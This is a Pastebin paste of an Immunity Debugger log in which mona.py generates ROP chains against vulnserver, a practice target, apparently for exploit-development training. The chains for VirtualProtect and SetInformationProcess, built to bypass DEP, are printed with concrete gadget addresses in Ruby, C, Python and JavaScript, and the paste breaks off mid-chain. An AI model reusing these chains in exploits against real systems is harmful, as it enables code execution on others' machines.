Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Log data
- Address Message
- Immunity Debugger 1.85.0.0 : R'lyeh
- Need support? visit http://forum.immunityinc.com/
- Error accesing memory
- File 'C:\Users\adrianhack\Desktop\vulnserver\vulnserver.exe'
- [19:05:37] New process with ID 00001734 created
- Main thread with ID 000018B8 created
- 773758E0 New thread with ID 000011F4 created
- 773758E0 New thread with ID 000003DC created
- 773EDC70 New thread with ID 0000163C created
- 00400000 Modules C:\Users\adrianhack\Desktop\vulnserver\vulnserver.exe
- 62500000 Modules C:\Users\adrianhack\Desktop\vulnserver\essfunc.dll
- 74230000 Modules C:\Windows\system32\mswsock.dll
- 75170000 Modules C:\Windows\SYSTEM32\apphelp.dll
- 75A90000 Modules C:\Windows\System32\msvcrt.dll
- 76670000 Modules C:\Windows\System32\KERNEL32.DLL
- 76A30000 Modules C:\Windows\System32\RPCRT4.dll
- 76B00000 Modules C:\Windows\System32\WS2_32.DLL
- 77110000 Modules C:\Windows\System32\KERNELBASE.dll
- 77340000 Modules C:\Windows\SYSTEM32\ntdll.dll
- 773B4D10 [19:05:37] Attached process paused at ntdll.DbgBreakPoint
- 0BADF00D [+] Command used:
- 0BADF00D !mona rop -cp nonull -m *.dll
- ---------- Mona command started on 2022-03-16 19:05:58 (v2.0, rev 616) ----------
- 0BADF00D [+] Processing arguments and criteria
- 0BADF00D - Pointer access level : X
- 0BADF00D - Only querying modules *.dll
- 0BADF00D - Pointer criteria : ['nonull']
- 0BADF00D [+] Generating module info table, hang on...
- 0BADF00D - Processing modules
- 0BADF00D - Done. Let's rock 'n roll.
- 0BADF00D [+] Preparing output file '_rop_progress_vulnserver.exe_5940.log'
- 0BADF00D - (Re)setting logfile _rop_progress_vulnserver.exe_5940.log
- 0BADF00D [+] Progress will be written to _rop_progress_vulnserver.exe_5940.log
- 0BADF00D [+] Maximum offset : 40
- 0BADF00D [+] (Minimum/optional maximum) stackpivot distance : 8
- 0BADF00D [+] Max nr of instructions : 6
- 0BADF00D [+] Split output into module rop files ? False
- 0BADF00D [+] Going to create rop chains for all relevant/supported techniques:
- 0BADF00D [+] Enumerating 22 endings in 9 module(s)...
- 0BADF00D - Querying module essfunc.dll
- 0BADF00D - Querying module KERNELBASE.dll
- 0BADF00D - Querying module mswsock.dll
- 0BADF00D - Querying module apphelp.dll
- 0BADF00D - Querying module KERNEL32.DLL
- 0BADF00D - Querying module msvcrt.dll
- 0BADF00D - Querying module ntdll.dll
- 0BADF00D - Querying module RPCRT4.dll
- 0BADF00D - Querying module WS2_32.DLL
- 0BADF00D - Search complete :
- 0BADF00D Ending : RETN 0x02, Nr found : 51
- 0BADF00D Ending : RETN 0x1A, Nr found : 2
- 0BADF00D Ending : RETN 0x0C, Nr found : 2253
- 0BADF00D Ending : RETN 0x1C, Nr found : 323
- 0BADF00D Ending : RETN 0x0A, Nr found : 16
- 0BADF00D Ending : RETN 0x1E, Nr found : 1
- 0BADF00D Ending : RETN, Nr found : 19379
- 0BADF00D Ending : RETN 0x0E, Nr found : 3
- 0BADF00D Ending : RETN 0x20, Nr found : 231
- 0BADF00D Ending : RETN 0x18, Nr found : 560
- 0BADF00D Ending : RETN 0x08, Nr found : 2764
- 0BADF00D Ending : RETN 0x24, Nr found : 156
- 0BADF00D Ending : RETN 0x22, Nr found : 2
- 0BADF00D Ending : RETN 0x28, Nr found : 82
- 0BADF00D Ending : RETN 0x10, Nr found : 1371
- 0BADF00D Ending : RETN 0x00, Nr found : 228
- 0BADF00D Ending : RETN 0x12, Nr found : 10
- 0BADF00D Ending : RETN 0x06, Nr found : 21
- 0BADF00D Ending : RETN 0x14, Nr found : 877
- 0BADF00D Ending : RETN 0x04, Nr found : 3372
- 0BADF00D - Filtering and mutating 31702 gadgets
- 0BADF00D - Progress update : 1000 / 31702 items processed (Wed 2022/03/16 07:06:02 PM) - (3%)
- 0BADF00D - Progress update : 2000 / 31702 items processed (Wed 2022/03/16 07:06:04 PM) - (6%)
- 0BADF00D - Progress update : 3000 / 31702 items processed (Wed 2022/03/16 07:06:05 PM) - (9%)
- 0BADF00D - Progress update : 4000 / 31702 items processed (Wed 2022/03/16 07:06:08 PM) - (12%)
- 0BADF00D - Progress update : 5000 / 31702 items processed (Wed 2022/03/16 07:06:10 PM) - (15%)
- 0BADF00D - Progress update : 6000 / 31702 items processed (Wed 2022/03/16 07:06:11 PM) - (18%)
- 0BADF00D - Progress update : 7000 / 31702 items processed (Wed 2022/03/16 07:06:13 PM) - (22%)
- 0BADF00D - Progress update : 8000 / 31702 items processed (Wed 2022/03/16 07:06:16 PM) - (25%)
- 0BADF00D - Progress update : 9000 / 31702 items processed (Wed 2022/03/16 07:06:18 PM) - (28%)
- 0BADF00D - Progress update : 10000 / 31702 items processed (Wed 2022/03/16 07:06:20 PM) - (31%)
- 0BADF00D - Progress update : 11000 / 31702 items processed (Wed 2022/03/16 07:06:22 PM) - (34%)
- 0BADF00D - Progress update : 12000 / 31702 items processed (Wed 2022/03/16 07:06:24 PM) - (37%)
- 0BADF00D - Progress update : 13000 / 31702 items processed (Wed 2022/03/16 07:06:26 PM) - (41%)
- 0BADF00D - Progress update : 14000 / 31702 items processed (Wed 2022/03/16 07:06:28 PM) - (44%)
- 0BADF00D - Progress update : 15000 / 31702 items processed (Wed 2022/03/16 07:06:30 PM) - (47%)
- 0BADF00D - Progress update : 16000 / 31702 items processed (Wed 2022/03/16 07:06:32 PM) - (50%)
- 0BADF00D - Progress update : 17000 / 31702 items processed (Wed 2022/03/16 07:06:34 PM) - (53%)
- 0BADF00D - Progress update : 18000 / 31702 items processed (Wed 2022/03/16 07:06:37 PM) - (56%)
- 0BADF00D - Progress update : 19000 / 31702 items processed (Wed 2022/03/16 07:06:39 PM) - (59%)
- 0BADF00D - Progress update : 20000 / 31702 items processed (Wed 2022/03/16 07:06:41 PM) - (63%)
- 0BADF00D - Progress update : 21000 / 31702 items processed (Wed 2022/03/16 07:06:43 PM) - (66%)
- 0BADF00D - Progress update : 22000 / 31702 items processed (Wed 2022/03/16 07:06:45 PM) - (69%)
- 0BADF00D - Progress update : 23000 / 31702 items processed (Wed 2022/03/16 07:06:47 PM) - (72%)
- 0BADF00D - Progress update : 24000 / 31702 items processed (Wed 2022/03/16 07:06:49 PM) - (75%)
- 0BADF00D - Progress update : 25000 / 31702 items processed (Wed 2022/03/16 07:06:51 PM) - (78%)
- 0BADF00D - Progress update : 26000 / 31702 items processed (Wed 2022/03/16 07:06:53 PM) - (82%)
- 0BADF00D - Progress update : 27000 / 31702 items processed (Wed 2022/03/16 07:06:55 PM) - (85%)
- 0BADF00D - Progress update : 28000 / 31702 items processed (Wed 2022/03/16 07:06:57 PM) - (88%)
- 0BADF00D - Progress update : 29000 / 31702 items processed (Wed 2022/03/16 07:06:59 PM) - (91%)
- 0BADF00D - Progress update : 30000 / 31702 items processed (Wed 2022/03/16 07:07:00 PM) - (94%)
- 0BADF00D - Progress update : 31000 / 31702 items processed (Wed 2022/03/16 07:07:03 PM) - (97%)
- 0BADF00D - Progress update : 31702 / 31702 items processed (Wed 2022/03/16 07:07:04 PM) - (100%)
- 0BADF00D [+] Creating suggestions list
- 0BADF00D [+] Processing suggestions
- 0BADF00D [+] Launching ROP generator
- 0BADF00D [+] Attempting to produce rop chain for VirtualProtect
- 0BADF00D Wed 2022/03/16 07:07:14 PM: Step 1/7: esi
- Getting IAT for essfunc.dll.
- 0BADF00D Enumerating IAT
- Getting IAT for KERNELBASE.dll.
- 0BADF00D Enumerating IAT
- Getting IAT for mswsock.dll.
- 0BADF00D Enumerating IAT
- Getting IAT for apphelp.dll.
- 0BADF00D Enumerating IAT
- Getting IAT for KERNEL32.DLL.
- 0BADF00D Enumerating IAT
- Getting IAT for msvcrt.dll.
- 0BADF00D Enumerating IAT
- Getting IAT for ntdll.dll.
- 0BADF00D Enumerating IAT
- Getting IAT for RPCRT4.dll.
- 0BADF00D Enumerating IAT
- Getting IAT for WS2_32.DLL.
- 0BADF00D Enumerating IAT
- 0BADF00D Wed 2022/03/16 07:07:15 PM: Step 2/7: ebp
- 0BADF00D Wed 2022/03/16 07:07:17 PM: Step 3/7: ebx
- 0BADF00D Wed 2022/03/16 07:07:17 PM: Step 4/7: edx
- 0BADF00D Wed 2022/03/16 07:07:17 PM: Step 5/7: ecx
- 0BADF00D Wed 2022/03/16 07:07:17 PM: Step 6/7: edi
- 0BADF00D Wed 2022/03/16 07:07:17 PM: Step 7/7: eax
- 0BADF00D [+] Attempting to produce rop chain for SetInformationProcess
- 0BADF00D Wed 2022/03/16 07:07:17 PM: Step 1/6: ebp
- Getting IAT for essfunc.dll.
- 0BADF00D Retrieving IAT from cache
- Getting IAT for KERNELBASE.dll.
- 0BADF00D Retrieving IAT from cache
- Getting IAT for mswsock.dll.
- 0BADF00D Retrieving IAT from cache
- Getting IAT for apphelp.dll.
- 0BADF00D Retrieving IAT from cache
- Getting IAT for KERNEL32.DLL.
- 0BADF00D Retrieving IAT from cache
- Getting IAT for msvcrt.dll.
- 0BADF00D Retrieving IAT from cache
- Getting IAT for ntdll.dll.
- 0BADF00D Retrieving IAT from cache
- Getting IAT for RPCRT4.dll.
- 0BADF00D Retrieving IAT from cache
- Getting IAT for WS2_32.DLL.
- 0BADF00D Retrieving IAT from cache
- 0BADF00D Wed 2022/03/16 07:07:17 PM: Step 2/6: edx
- 0BADF00D Wed 2022/03/16 07:07:17 PM: Step 3/6: ecx
- 0BADF00D Wed 2022/03/16 07:07:17 PM: Step 4/6: ebx
- 0BADF00D Wed 2022/03/16 07:07:17 PM: Step 5/6: eax
- 0BADF00D Wed 2022/03/16 07:07:17 PM: Step 6/6: edi
- 0BADF00D [+] Attempting to produce rop chain for SetProcessDEPPolicy
- 0BADF00D Wed 2022/03/16 07:07:17 PM: Step 1/3: ebp
- Getting IAT for essfunc.dll.
- 0BADF00D Retrieving IAT from cache
- Getting IAT for KERNELBASE.dll.
- 0BADF00D Retrieving IAT from cache
- Getting IAT for mswsock.dll.
- 0BADF00D Retrieving IAT from cache
- Getting IAT for apphelp.dll.
- 0BADF00D Retrieving IAT from cache
- Getting IAT for KERNEL32.DLL.
- 0BADF00D Retrieving IAT from cache
- Getting IAT for msvcrt.dll.
- 0BADF00D Retrieving IAT from cache
- Getting IAT for ntdll.dll.
- 0BADF00D Retrieving IAT from cache
- Getting IAT for RPCRT4.dll.
- 0BADF00D Retrieving IAT from cache
- Getting IAT for WS2_32.DLL.
- 0BADF00D Retrieving IAT from cache
- Getting IAT for essfunc.dll.
- 0BADF00D Retrieving IAT from cache
- Getting IAT for vulnserver.exe.
- 0BADF00D Enumerating IAT
- 0BADF00D Wed 2022/03/16 07:07:20 PM: Step 2/3: ebx
- 0BADF00D Wed 2022/03/16 07:07:20 PM: Step 3/3: edi
- 0BADF00D [+] Attempting to produce rop chain for VirtualAlloc
- 0BADF00D Wed 2022/03/16 07:07:20 PM: Step 1/7: esi
- Getting IAT for essfunc.dll.
- 0BADF00D Retrieving IAT from cache
- Getting IAT for KERNELBASE.dll.
- 0BADF00D Retrieving IAT from cache
- Getting IAT for mswsock.dll.
- 0BADF00D Retrieving IAT from cache
- Getting IAT for apphelp.dll.
- 0BADF00D Retrieving IAT from cache
- Getting IAT for KERNEL32.DLL.
- 0BADF00D Retrieving IAT from cache
- Getting IAT for msvcrt.dll.
- 0BADF00D Retrieving IAT from cache
- Getting IAT for ntdll.dll.
- 0BADF00D Retrieving IAT from cache
- Getting IAT for RPCRT4.dll.
- 0BADF00D Retrieving IAT from cache
- Getting IAT for WS2_32.DLL.
- 0BADF00D Retrieving IAT from cache
- 0BADF00D Wed 2022/03/16 07:07:20 PM: Step 2/7: ebp
- 0BADF00D Wed 2022/03/16 07:07:23 PM: Step 3/7: ebx
- 0BADF00D Wed 2022/03/16 07:07:23 PM: Step 4/7: edx
- 0BADF00D Wed 2022/03/16 07:07:23 PM: Step 5/7: ecx
- 0BADF00D Wed 2022/03/16 07:07:23 PM: Step 6/7: edi
- 0BADF00D Wed 2022/03/16 07:07:23 PM: Step 7/7: eax
- 0BADF00D [+] ROP chains written to file rop_chains.txt
- ################################################################################
- Register setup for VirtualProtect() :
- --------------------------------------------
- EAX = NOP (0x90909090)
- ECX = lpOldProtect (ptr to W address)
- EDX = NewProtect (0x40)
- EBX = dwSize
- ESP = lPAddress (automatic)
- EBP = ReturnTo (ptr to jmp esp)
- ESI = ptr to VirtualProtect()
- EDI = ROP NOP (RETN)
- --- alternative chain ---
- EAX = ptr to &VirtualProtect()
- ECX = lpOldProtect (ptr to W address)
- EDX = NewProtect (0x40)
- EBX = dwSize
- ESP = lPAddress (automatic)
- EBP = POP (skip 4 bytes)
- ESI = ptr to JMP [EAX]
- EDI = ROP NOP (RETN)
- + place ptr to "jmp esp" on stack, below PUSHAD
- --------------------------------------------
- ROP Chain for VirtualProtect() [(XP/2003 Server and up)] :
- ----------------------------------------------------------
- *** [ Ruby ] ***
- def create_rop_chain()
- # rop chain generated with mona.py - www.corelan.be
- rop_gadgets =
- [
- #[---INFO:gadgets_to_set_esi:---]
- 0x772d234a, # POP EAX # RETN [KERNELBASE.dll] ** REBASED ** ASLR
- 0x6250609c, # ptr to &VirtualProtect() [IAT essfunc.dll]
- 0x76a6fdb6, # MOV EAX,DWORD PTR DS:[EAX] # RETN [RPCRT4.dll] ** REBASED ** ASLR
- 0x76b41470, # XCHG EAX,ESI # RETN [WS2_32.DLL] ** REBASED ** ASLR
- #[---INFO:gadgets_to_set_ebp:---]
- 0x75adfcb1, # POP EBP # RETN [msvcrt.dll] ** REBASED ** ASLR
- 0x625011af, # & jmp esp [essfunc.dll]
- #[---INFO:gadgets_to_set_ebx:---]
- 0x77270b5d, # POP EAX # RETN [KERNELBASE.dll] ** REBASED ** ASLR
- 0xfffffdff, # Value to negate, will become 0x00000201
- 0x766b94ea, # NEG EAX # RETN [KERNEL32.DLL] ** REBASED ** ASLR
- 0x75aa7926, # XCHG EAX,EBX # RETN [msvcrt.dll] ** REBASED ** ASLR
- #[---INFO:gadgets_to_set_edx:---]
- 0x75b27dfb, # POP EAX # RETN [msvcrt.dll] ** REBASED ** ASLR
- 0xffffffc0, # Value to negate, will become 0x00000040
- 0x766ba918, # NEG EAX # RETN [KERNEL32.DLL] ** REBASED ** ASLR
- 0x76a3b884, # XCHG EAX,EDX # RETN [RPCRT4.dll] ** REBASED ** ASLR
- #[---INFO:gadgets_to_set_ecx:---]
- 0x75ad8b52, # POP ECX # RETN [msvcrt.dll] ** REBASED ** ASLR
- 0x76add416, # &Writable location [RPCRT4.dll] ** REBASED ** ASLR
- #[---INFO:gadgets_to_set_edi:---]
- 0x77423214, # POP EDI # RETN [ntdll.dll] ** REBASED ** ASLR
- 0x766ba91a, # RETN (ROP NOP) [KERNEL32.DLL] ** REBASED ** ASLR
- #[---INFO:gadgets_to_set_eax:---]
- 0x76aa79e6, # POP EAX # RETN [RPCRT4.dll] ** REBASED ** ASLR
- 0x90909090, # nop
- #[---INFO:pushad:---]
- 0x74250446, # PUSHAD # RETN [mswsock.dll] ** REBASED ** ASLR
- ].flatten.pack("V*")
- return rop_gadgets
- end
- # Call the ROP chain generator inside the 'exploit' function :
- rop_chain = create_rop_chain()
- *** [ C ] ***
- #define CREATE_ROP_CHAIN(name, ...) \
- int name##_length = create_rop_chain(NULL, ##__VA_ARGS__); \
- unsigned int name[name##_length / sizeof(unsigned int)]; \
- create_rop_chain(name, ##__VA_ARGS__);
- int create_rop_chain(unsigned int *buf, unsigned int )
- {
- // rop chain generated with mona.py - www.corelan.be
- unsigned int rop_gadgets[] = {
- //[---INFO:gadgets_to_set_esi:---]
- 0x772d234a, // POP EAX // RETN [KERNELBASE.dll] ** REBASED ** ASLR
- 0x6250609c, // ptr to &VirtualProtect() [IAT essfunc.dll]
- 0x76a6fdb6, // MOV EAX,DWORD PTR DS:[EAX] // RETN [RPCRT4.dll] ** REBASED ** ASLR
- 0x76b41470, // XCHG EAX,ESI // RETN [WS2_32.DLL] ** REBASED ** ASLR
- //[---INFO:gadgets_to_set_ebp:---]
- 0x75adfcb1, // POP EBP // RETN [msvcrt.dll] ** REBASED ** ASLR
- 0x625011af, // & jmp esp [essfunc.dll]
- //[---INFO:gadgets_to_set_ebx:---]
- 0x77270b5d, // POP EAX // RETN [KERNELBASE.dll] ** REBASED ** ASLR
- 0xfffffdff, // Value to negate, will become 0x00000201
- 0x766b94ea, // NEG EAX // RETN [KERNEL32.DLL] ** REBASED ** ASLR
- 0x75aa7926, // XCHG EAX,EBX // RETN [msvcrt.dll] ** REBASED ** ASLR
- //[---INFO:gadgets_to_set_edx:---]
- 0x75b27dfb, // POP EAX // RETN [msvcrt.dll] ** REBASED ** ASLR
- 0xffffffc0, // Value to negate, will become 0x00000040
- 0x766ba918, // NEG EAX // RETN [KERNEL32.DLL] ** REBASED ** ASLR
- 0x76a3b884, // XCHG EAX,EDX // RETN [RPCRT4.dll] ** REBASED ** ASLR
- //[---INFO:gadgets_to_set_ecx:---]
- 0x75ad8b52, // POP ECX // RETN [msvcrt.dll] ** REBASED ** ASLR
- 0x76add416, // &Writable location [RPCRT4.dll] ** REBASED ** ASLR
- //[---INFO:gadgets_to_set_edi:---]
- 0x77423214, // POP EDI // RETN [ntdll.dll] ** REBASED ** ASLR
- 0x766ba91a, // RETN (ROP NOP) [KERNEL32.DLL] ** REBASED ** ASLR
- //[---INFO:gadgets_to_set_eax:---]
- 0x76aa79e6, // POP EAX // RETN [RPCRT4.dll] ** REBASED ** ASLR
- 0x90909090, // nop
- //[---INFO:pushad:---]
- 0x74250446, // PUSHAD // RETN [mswsock.dll] ** REBASED ** ASLR
- };
- if(buf != NULL) {
- memcpy(buf, rop_gadgets, sizeof(rop_gadgets));
- };
- return sizeof(rop_gadgets);
- }
- // use the 'rop_chain' variable after this call, it's just an unsigned int[]
- CREATE_ROP_CHAIN(rop_chain, );
- // alternatively just allocate a large enough buffer and get the rop chain, i.e.:
- // unsigned int rop_chain[256];
- // int rop_chain_length = create_rop_chain(rop_chain, );
- *** [ Python ] ***
- def create_rop_chain():
- # rop chain generated with mona.py - www.corelan.be
- rop_gadgets = [
- #[---INFO:gadgets_to_set_esi:---]
- 0x772d234a, # POP EAX # RETN [KERNELBASE.dll] ** REBASED ** ASLR
- 0x6250609c, # ptr to &VirtualProtect() [IAT essfunc.dll]
- 0x76a6fdb6, # MOV EAX,DWORD PTR DS:[EAX] # RETN [RPCRT4.dll] ** REBASED ** ASLR
- 0x76b41470, # XCHG EAX,ESI # RETN [WS2_32.DLL] ** REBASED ** ASLR
- #[---INFO:gadgets_to_set_ebp:---]
- 0x75adfcb1, # POP EBP # RETN [msvcrt.dll] ** REBASED ** ASLR
- 0x625011af, # & jmp esp [essfunc.dll]
- #[---INFO:gadgets_to_set_ebx:---]
- 0x77270b5d, # POP EAX # RETN [KERNELBASE.dll] ** REBASED ** ASLR
- 0xfffffdff, # Value to negate, will become 0x00000201
- 0x766b94ea, # NEG EAX # RETN [KERNEL32.DLL] ** REBASED ** ASLR
- 0x75aa7926, # XCHG EAX,EBX # RETN [msvcrt.dll] ** REBASED ** ASLR
- #[---INFO:gadgets_to_set_edx:---]
- 0x75b27dfb, # POP EAX # RETN [msvcrt.dll] ** REBASED ** ASLR
- 0xffffffc0, # Value to negate, will become 0x00000040
- 0x766ba918, # NEG EAX # RETN [KERNEL32.DLL] ** REBASED ** ASLR
- 0x76a3b884, # XCHG EAX,EDX # RETN [RPCRT4.dll] ** REBASED ** ASLR
- #[---INFO:gadgets_to_set_ecx:---]
- 0x75ad8b52, # POP ECX # RETN [msvcrt.dll] ** REBASED ** ASLR
- 0x76add416, # &Writable location [RPCRT4.dll] ** REBASED ** ASLR
- #[---INFO:gadgets_to_set_edi:---]
- 0x77423214, # POP EDI # RETN [ntdll.dll] ** REBASED ** ASLR
- 0x766ba91a, # RETN (ROP NOP) [KERNEL32.DLL] ** REBASED ** ASLR
- #[---INFO:gadgets_to_set_eax:---]
- 0x76aa79e6, # POP EAX # RETN [RPCRT4.dll] ** REBASED ** ASLR
- 0x90909090, # nop
- #[---INFO:pushad:---]
- 0x74250446, # PUSHAD # RETN [mswsock.dll] ** REBASED ** ASLR
- ]
- return ''.join(struct.pack('<I', _) for _ in rop_gadgets)
- rop_chain = create_rop_chain()
- *** [ JavaScript ] ***
- //rop chain generated with mona.py - www.corelan.be
- rop_gadgets = unescape(
- "" + // #[---INFO:gadgets_to_set_esi:---] :
- "%u234a%u772d" + // 0x772d234a : ,# POP EAX # RETN [KERNELBASE.dll] ** REBASED ** ASLR
- "%u609c%u6250" + // 0x6250609c : ,# ptr to &VirtualProtect() [IAT essfunc.dll]
- "%ufdb6%u76a6" + // 0x76a6fdb6 : ,# MOV EAX,DWORD PTR DS:[EAX] # RETN [RPCRT4.dll] ** REBASED ** ASLR
- "%u1470%u76b4" + // 0x76b41470 : ,# XCHG EAX,ESI # RETN [WS2_32.DLL] ** REBASED ** ASLR
- "" + // #[---INFO:gadgets_to_set_ebp:---] :
- "%ufcb1%u75ad" + // 0x75adfcb1 : ,# POP EBP # RETN [msvcrt.dll] ** REBASED ** ASLR
- "%u11af%u6250" + // 0x625011af : ,# & jmp esp [essfunc.dll]
- "" + // #[---INFO:gadgets_to_set_ebx:---] :
- "%u0b5d%u7727" + // 0x77270b5d : ,# POP EAX # RETN [KERNELBASE.dll] ** REBASED ** ASLR
- "%ufdff%uffff" + // 0xfffffdff : ,# Value to negate, will become 0x00000201
- "%u94ea%u766b" + // 0x766b94ea : ,# NEG EAX # RETN [KERNEL32.DLL] ** REBASED ** ASLR
- "%u7926%u75aa" + // 0x75aa7926 : ,# XCHG EAX,EBX # RETN [msvcrt.dll] ** REBASED ** ASLR
- "" + // #[---INFO:gadgets_to_set_edx:---] :
- "%u7dfb%u75b2" + // 0x75b27dfb : ,# POP EAX # RETN [msvcrt.dll] ** REBASED ** ASLR
- "%uffc0%uffff" + // 0xffffffc0 : ,# Value to negate, will become 0x00000040
- "%ua918%u766b" + // 0x766ba918 : ,# NEG EAX # RETN [KERNEL32.DLL] ** REBASED ** ASLR
- "%ub884%u76a3" + // 0x76a3b884 : ,# XCHG EAX,EDX # RETN [RPCRT4.dll] ** REBASED ** ASLR
- "" + // #[---INFO:gadgets_to_set_ecx:---] :
- "%u8b52%u75ad" + // 0x75ad8b52 : ,# POP ECX # RETN [msvcrt.dll] ** REBASED ** ASLR
- "%ud416%u76ad" + // 0x76add416 : ,# &Writable location [RPCRT4.dll] ** REBASED ** ASLR
- "" + // #[---INFO:gadgets_to_set_edi:---] :
- "%u3214%u7742" + // 0x77423214 : ,# POP EDI # RETN [ntdll.dll] ** REBASED ** ASLR
- "%ua91a%u766b" + // 0x766ba91a : ,# RETN (ROP NOP) [KERNEL32.DLL] ** REBASED ** ASLR
- "" + // #[---INFO:gadgets_to_set_eax:---] :
- "%u79e6%u76aa" + // 0x76aa79e6 : ,# POP EAX # RETN [RPCRT4.dll] ** REBASED ** ASLR
- "%u9090%u9090" + // 0x90909090 : ,# nop
- "" + // #[---INFO:pushad:---] :
- "%u0446%u7425" + // 0x74250446 : ,# PUSHAD # RETN [mswsock.dll] ** REBASED ** ASLR
- ""); // :
- --------------------------------------------------------------------------------------------------
- ################################################################################
- Register setup for SetInformationProcess() :
- --------------------------------------------
- EAX = SizeOf(ExecuteFlags) (0x4)
- ECX = &ExecuteFlags (ptr to 0x00000002)
- EDX = ProcessExecuteFlags (0x22)
- EBX = NtCurrentProcess (0xffffffff)
- ESP = ReturnTo (automatic)
- EBP = ptr to NtSetInformationProcess()
- ESI = <not used>
- EDI = ROP NOP (4 byte stackpivot)
- --------------------------------------------
- ROP Chain for SetInformationProcess() [(XP/2003 Server only)] :
- ---------------------------------------------------------------
- *** [ Ruby ] ***
- def create_rop_chain()
- # rop chain generated with mona.py - www.corelan.be
- rop_gadgets =
- [
- #[---INFO:gadgets_to_set_ebp:---]
- 0x76a36604, # POP EAX # RETN [RPCRT4.dll] ** REBASED ** ASLR
- 0x772ec3c0, # ptr to &SetInformationProcess() [IAT KERNELBASE.dll] ** REBASED ** ASLR
- 0x7735b710, # MOV EBP,DWORD PTR DS:[EAX] # RETN [ntdll.dll] ** REBASED ** ASLR
- #[---INFO:gadgets_to_set_edx:---]
- 0x7723f572, # POP EAX # RETN [KERNELBASE.dll] ** REBASED ** ASLR
- 0xffffffde, # Value to negate, will become 0x00000022
- 0x766ba918, # NEG EAX # RETN [KERNEL32.DLL] ** REBASED ** ASLR
- 0x76b0c549, # XCHG EAX,EDX # RETN [WS2_32.DLL] ** REBASED ** ASLR
- #[---INFO:gadgets_to_set_ecx:---]
- 0x75ae71e6, # POP ECX # RETN [msvcrt.dll] ** REBASED ** ASLR
- 0x62501511, # &0x00000002 [essfunc.dll]
- #[---INFO:gadgets_to_set_ebx:---]
- 0x76abd133, # POP EBX # RETN [RPCRT4.dll] ** REBASED ** ASLR
- 0xffffffff, # 0xffffffff-> ebx
- #[---INFO:gadgets_to_set_eax:---]
- 0x7723ea62, # POP EAX # RETN [KERNELBASE.dll] ** REBASED ** ASLR
- 0xfffffffc, # Value to negate, will become 0x00000004
- 0x766b94ea, # NEG EAX # RETN [KERNEL32.DLL] ** REBASED ** ASLR
- #[---INFO:gadgets_to_set_edi:---]
- 0x751e9df8, # POP EDI # RETN [apphelp.dll] ** REBASED ** ASLR
- 0x751e9df8, # skip 4 bytes [apphelp.dll] ** REBASED ** ASLR
- #[---INFO:pushad:---]
- 0x7721c180, # PUSHAD # RETN [KERNELBASE.dll] ** REBASED ** ASLR
- ].flatten.pack("V*")
- return rop_gadgets
- end
- # Call the ROP chain generator inside the 'exploit' function :
- rop_chain = create_rop_chain()
- *** [ C ] ***
- #define CREATE_ROP_CHAIN(name, ...) \
- int name##_length = create_rop_chain(NULL, ##__VA_ARGS__); \
- unsigned int name[name##_length / sizeof(unsigned int)]; \
- create_rop_chain(name, ##__VA_ARGS__);
- int create_rop_chain(unsigned int *buf, unsigned int )
- {
- // rop chain generated with mona.py - www.corelan.be
- unsigned int rop_gadgets[] = {
- //[---INFO:gadgets_to_set_ebp:---]
- 0x76a36604, // POP EAX // RETN [RPCRT4.dll] ** REBASED ** ASLR
- 0x772ec3c0, // ptr to &SetInformationProcess() [IAT KERNELBASE.dll] ** REBASED ** ASLR
- 0x7735b710, // MOV EBP,DWORD PTR DS:[EAX] // RETN [ntdll.dll] ** REBASED ** ASLR
- //[---INFO:gadgets_to_set_edx:---]
- 0x7723f572, // POP EAX // RETN [KERNELBASE.dll] ** REBASED ** ASLR
- 0xffffffde, // Value to negate, will become 0x00000022
- 0x766ba918, // NEG EAX // RETN [KERNEL32.DLL] ** REBASED ** ASLR
- 0x76b0c549, // XCHG EAX,EDX // RETN [WS2_32.DLL] ** REBASED ** ASLR
- //[---INFO:gadgets_to_set_ecx:---]
- 0x75ae71e6, // POP ECX // RETN [msvcrt.dll] ** REBASED ** ASLR
- 0x62501511, // &0x00000002 [essfunc.dll]
- //[---INFO:gadgets_to_set_ebx:---]
- 0x76abd133, // POP EBX // RETN [RPCRT4.dll] ** REBASED ** ASLR
- 0xffffffff, // 0xffffffff-> ebx
- //[---INFO:gadgets_to_set_eax:---]
- 0x7723ea62, // POP EAX // RETN [KERNELBASE.dll] ** REBASED ** ASLR
- 0xfffffffc, // Value to negate, will become 0x00000004
- 0x766b94ea, // NEG EAX // RETN [KERNEL32.DLL] ** REBASED ** ASLR
- //[---INFO:gadgets_to_set_edi:---]
- 0x751e9df8, // POP EDI // RETN [apphelp.dll] ** REBASED ** ASLR
- 0x751e9df8, // skip 4 bytes [apphelp.dll] ** REBASED ** ASLR
- //[---INFO:pushad:---]
- 0x7721c180, // PUSHAD // RETN [KERNELBASE.dll] ** REBASED ** ASLR
- };
- if(buf != NULL) {
- memcpy(buf, rop_gadgets, sizeof(rop_gadgets));
- };
- return sizeof(rop_gadgets);
- }
- // use the 'rop_chain' variable after this call, it's just an unsigned int[]
- CREATE_ROP_CHAIN(rop_chain, );
- // alternatively just allocate a large enough buffer and get the rop chain, i.e.:
- // unsigned int rop_chain[256];
- // int rop_chain_length = create_rop_chain(rop_chain, );
- *** [ Python ] ***
- def create_rop_chain():
- # rop chain generated with mona.py - www.corelan.be
- rop_gadgets = [
- #[---INFO:gadgets_to_set_ebp:---]
- 0x76a36604, # POP EAX # RETN [RPCRT4.dll] ** REBASED ** ASLR
- 0x772ec3c0, # ptr to &SetInformationProcess() [IAT KERNELBASE.dll] ** REBASED ** ASLR
- 0x7735b710, # MOV EBP,DWORD PTR DS:[EAX] # RETN [ntdll.dll] ** REBASED ** ASLR
- #[---INFO:gadgets_to_set_edx:---]
- 0x7723f572, # POP EAX # RETN [KERNELBASE.dll] ** REBASED ** ASLR
- 0xffffffde, # Value to negate, will become 0x00000022
- 0x766ba918, # NEG EAX # RETN [KERNEL32.DLL] ** REBASED ** ASLR
- 0x76b0c549, # XCHG EAX,EDX # RETN [WS2_32.DLL] ** REBASED ** ASLR
- #[---INFO:gadgets_to_set_ecx:---]
- 0x75ae71e6, # POP ECX # RETN [msvcrt.dll] ** REBASED ** ASLR
- 0x62501511, # &0x00000002 [essfunc.dll]
- #[---INFO:gadgets_to_set_ebx:---]
- 0x76abd133, # POP EBX # RETN [RPCRT4.dll] ** REBASED ** ASLR
- 0xffffffff, # 0xffffffff-> ebx
- #[---INFO:gadgets_to_set_eax:---]
- 0x7723ea62, # POP EAX # RETN [KERNELBASE.dll] ** REBASED ** ASLR
- 0xfffffffc, # Value to negate, will become 0x00000004
- 0x766b94ea, # NEG EAX # RETN [KERNEL32.DLL] ** REBASED ** ASLR
